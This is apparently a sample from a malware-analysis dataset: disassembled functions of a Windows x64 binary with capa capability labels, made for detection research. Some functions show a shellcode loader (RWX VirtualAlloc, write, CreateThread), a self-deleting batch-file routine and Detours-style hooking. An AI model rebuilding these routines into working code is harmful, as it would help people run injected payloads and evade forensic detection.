joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001fc4
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rsi, rcx
mov r8d, 0x3000
xor ecx, ecx
mov rbx, rdx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140002027
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____VirtualAlloc_failed:
mov ebx, eax
lea rcx, [0x140043670]
call fcn.140003cc8
mov rcx, rax
mov edx, ebx
call fcn.14000231c
mov rcx, rax
call fcn.140003f14
xor al, al
jmp 0x14000214f
lea rdx, str.___Memory_allocated_at_address:
lea rcx, [0x1400434f0]
call fcn.140003cc8
mov rcx, rax
mov rdx, rdi
call fcn.140002160
mov rcx, rax
call fcn.140003f14
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.14002f180
lea rdx, str.___Shellcode_written_to_memory_successfully.
lea rcx, [0x1400434f0]
call fcn.140003cc8
mov rcx, rax
call fcn.140003f14
and qword [rsp + 0x28], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x1400020dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____CreateThread_failed:
mov ebx, eax
lea rcx, [0x140043670]
call fcn.140003cc8
mov rcx, rax
mov edx, ebx
call fcn.14000231c
mov rcx, rax
call fcn.140003f14
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140002020
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadId]
lea rdx, str.___Shellcode_executed_in_a_new_thread._Thread_ID:
mov ebx, eax
lea rcx, [0x1400434f0]
call fcn.140003cc8
mov rcx, rax
mov edx, ebx
call fcn.14000231c
mov rcx, rax
call fcn.140003f14
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rdx, str.___Resources_cleaned_up.
lea rcx, [0x1400434f0]
call fcn.140003cc8
mov rcx, rax
call fcn.140003f14
mov al, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14000563c
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov ebx, 0x104
mov r8d, ebx
lea rdx, [rbp + 0x190]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x80]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, str.00.bat
mov edx, ebx
lea rcx, [rbp + 0x80]
call fcn.140017298
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400064e8
nop
xor ebx, ebx
cmp qword [rbp - 0x38], rbx
je 0x140005785
lea rdx, str.:Repeat
lea rcx, [rsp + 0x40]
call fcn.140003cc8
mov rcx, rax
call fcn.140003f14
lea rdx, str.del__
lea rcx, [rsp + 0x40]
call fcn.140003cc8
mov rcx, rax
lea rdx, [rbp + 0x190]
call fcn.140003cc8
mov rcx, rax
lea rdx, [0x14003c978]
call fcn.140003cc8
mov rcx, rax
call fcn.140003f14
lea rdx, str.if_exist__
lea rcx, [rsp + 0x40]
call fcn.140003cc8
mov rcx, rax
lea rdx, [rbp + 0x190]
call fcn.140003cc8
mov rcx, rax
lea rdx, str.__goto_Repeat
call fcn.140003cc8
mov rcx, rax
call fcn.140003f14
lea rdx, str.del___f0_
lea rcx, [rsp + 0x40]
call fcn.140003cc8
mov rcx, rax
call fcn.140003f14
lea rcx, [rsp + 0x48]
call fcn.140006b3c
test rax, rax
jne 0x140005785
mov rax, qword [rsp + 0x40]
movsxd rdx, dword [rax + 4]
mov rax, qword [rbp + rdx - 0x78]
neg rax
sbb ecx, ecx
and ecx, 0xfffffffc
add ecx, 6
or ecx, dword [rsp + rdx + 0x50]
and ecx, 0x17
mov dword [rsp + rdx + 0x50], ecx
mov eax, dword [rsp + rdx + 0x54]
and eax, ecx
jne 0x1400057da
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp - 0x18]
call fcn.140006468
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x18]
call fcn.140008bb8
nop
xor al, al
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x3a0
pop rbp
ret
test al, 4
je 0x1400057e7
lea rbx, str.ios_base::badbit_set
jmp 0x1400057fb
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1400016d4
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140001f38
lea rdx, [0x140040e70]
lea rcx, [rbp + 0x50]
call fcn.14000dc0c
int3
Function at 0x140005b7c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140005baa
xor eax, eax
jmp 0x140005c90
cmp qword [rcx + 0x68], 0
je 0x140005bbb
call fcn.14000636c
jmp 0x140005c90
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140005bd2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140005bd4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140005c06
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14002f180
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140005c8a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140005c3d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140005c66
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001759c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140005c8a
cmp rsi, rbx
ja 0x140005c44
test rsi, rsi
je 0x140005c8a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14001759c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140007cfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007d46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007d46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007d46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007d46
cmp dword [rcx + 0x84], 0xe
jbe 0x140007d46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007d48
xor al, al
add rsp, 0x28
ret

Function at 0x140009230
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.140009480
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x14000934a
mov rax, qword [0x1400420f8]
cmp qword [rsp + 0x20], rax
jb 0x140009294
mov rax, qword [0x140042100]
cmp qword [rsp + 0x20], rax
ja 0x140009294
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x140009256
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14002f820
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x1400092c5
jmp 0x14000934a
cmp dword [rsp + 0x50], 0x10000
jne 0x14000932d
cmp qword [rsp + 0x48], 0x10000
jb 0x14000932d
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000930b
mov rax, qword [rsp + 0x28]
jmp 0x14000934c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x14000931b
xor eax, eax
jmp 0x14000934c
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140009345
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.140009480
mov qword [rsp + 0x20], rax
jmp 0x140009256
xor eax, eax
add rsp, 0x68
ret
Function at 0x140009360
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1400094c0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x140009476
mov rax, qword [0x1400420f8]
cmp qword [rsp + 0x20], rax
jb 0x1400093bb
mov rax, qword [0x140042100]
cmp qword [rsp + 0x20], rax
ja 0x1400093bb
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x14000937d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14002f820
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x1400093ec
jmp 0x140009476
cmp dword [rsp + 0x50], 0x10000
jne 0x140009454
cmp qword [rsp + 0x48], 0x10000
jb 0x140009454
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140009432
mov rax, qword [rsp + 0x28]
jmp 0x140009478
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x140009442
xor eax, eax
jmp 0x140009478
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x140009471
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400094c0
mov qword [rsp + 0x20], rax
jmp 0x14000937d
xor eax, eax
add rsp, 0x68
ret
Function at 0x140009510
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140009aa0
mov qword [rsp + 0x28], 0
cmp qword [0x140043990], 0
jne 0x140009558
cmp qword [0x140043988], 0
je 0x140009558
mov rax, qword [0x140043988]
mov qword [0x140043990], rax
cmp qword [0x140043990], 0
je 0x1400095fe
mov rax, qword [0x140043990]
cmp qword [rax + 0x10], 0
je 0x1400095fe
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x1400095fe
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x1400095fe
mov rax, qword [0x140043990]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x1400095c4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x1400095cb
xor eax, eax
jmp 0x140009775
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.14002f820
mov rax, qword [rsp + 0x28]
jmp 0x140009775
mov rax, qword [0x140043988]
mov qword [0x140043990], rax
jmp 0x140009620
mov rax, qword [0x140043990]
mov rax, qword [rax + 8]
mov qword [0x140043990], rax
cmp qword [0x140043990], 0
je 0x14000966d
cmp qword [0x140043990], 0
je 0x14000966b
mov rax, qword [0x140043990]
cmp qword [rax + 0x10], 0
je 0x14000966b
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14000966b
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14000966b
jmp 0x14000959c
jmp 0x14000960e
mov rax, qword [rsp + 0x60]
and rax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.140009780
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140009773
mov rax, qword [rsp + 0x48]
mov qword [0x140043990], rax
mov rax, qword [0x140043990]
mov dword [rax], 0x52727464
mov rax, qword [0x140043990]
mov qword [rax + 0x10], 0
mov rax, qword [0x140043990]
mov rcx, qword [0x140043988]
mov qword [rax + 8], rcx
mov rax, qword [0x140043990]
mov qword [0x140043988], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x140043990]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x140009724
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x14000975e
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x14000971a
mov rax, qword [0x140043990]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x14000959c
xor eax, eax
add rsp, 0x58
ret
Function at 0x14000a490
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000a4d7
xor al, al
jmp 0x14000a579
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x14000a501
xor al, al
jmp 0x14000a579
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x14000a571
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x14000a571
mov al, 1
jmp 0x14000a579
jmp 0x14000a577
xor al, al
add rsp, 0x78
ret

Function at 0x14000a880
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140043988]
mov qword [rsp + 0x28], rax
jmp 0x14000a8a0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000a8cf
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x14000a8cd
call sub.KERNEL32.dll_GetLastError
jmp 0x14000a8d1
jmp 0x14000a892
xor eax, eax
add rsp, 0x38
ret
Function at 0x14000af90
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x1400439a0], eax
je 0x14000afab
mov eax, 0x10dd
jmp 0x14000b0d0
mov rax, qword [0x1400439b8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14000b055
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x14000b020
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x14000b020
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.140009be0
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.140007534
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x14000afb7
mov qword [0x1400439b8], 0
call fcn.14000a640
mov rax, qword [0x1400439b0]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000b0b9
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.140007534
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x14000b071
mov qword [0x1400439b0], 0
mov dword [0x1400439a0], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x14000b600
Capabilities:
Suspend thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp dword [0x1400439a4], 0
je 0x14000b61d
mov eax, dword [0x1400439a4]
jmp 0x14000b6e3
call sub.KERNEL32.dll_GetCurrentThread
cmp qword [rsp + 0x50], rax
jne 0x14000b630
xor eax, eax
jmp 0x14000b6e3
mov ecx, 0x10
call fcn.14000753c
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000b69e
mov dword [rsp + 0x20], 8
cmp qword [rsp + 0x28], 0
je 0x14000b683
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x38]
call fcn.140007534
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
mov dword [0x1400439a4], eax
mov qword [0x1400439a8], 0
mov eax, dword [rsp + 0x20]
jmp 0x14000b6e3
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x14000b6b8
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x14000b659
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x1400439b0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [0x1400439b0], rax
xor eax, eax
add rsp, 0x48
ret

Function at 0x140018880
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001867c

Function at 0x14001f9dc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001f9f2
mov al, 1
jmp 0x14001fa52
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001fa03
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001fa50
mov ecx, dword [rcx + 0x18]
nop
call fcn.140025304
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001fa50
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001fa50
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001fa50
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001fa52
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140021cd4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14002e9a0
sub rsp, rax
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001e330
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140021d23
mov rax, rbp
jmp 0x140021e2b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x43f80]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140022c20
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x43f80]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140021e27
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021e27
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140022c20
test rax, rax
js 0x140021e27
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140021e27
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140021e19
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140021e19
cmp byte [rcx], 0xd
jne 0x140021dff
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140021e0e
cmp byte [rcx + 1], 0xa
jne 0x140021e0e
inc rcx
jmp 0x140021e0e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x424d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140021de1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140021e2b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14002e970
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140021fc0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140043f80]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140022017
cmp word [rdx], r13w
jne 0x140022017
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14002201c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140022141
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140022162
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140022055
mov rdx, r9
mov word [rbx], cx
jmp 0x14002207c
cmp r9, r8
jae 0x14002208c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140022036
jmp 0x140022141
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140022136
cmp dword [rsp + 0x80], esi
je 0x140022136
lea r8, [0x140043f80]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14002210e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400220de
mov word [rbx], r13w
jmp 0x14002213e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400220eb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14002213e
cmp word [rsp + 0x70], r13w
jne 0x14002211b
cmp rbx, r14
je 0x1400220d8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140022c28
cmp word [rsp + 0x70], r13w
je 0x140022141
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140043f80]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002213b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140022141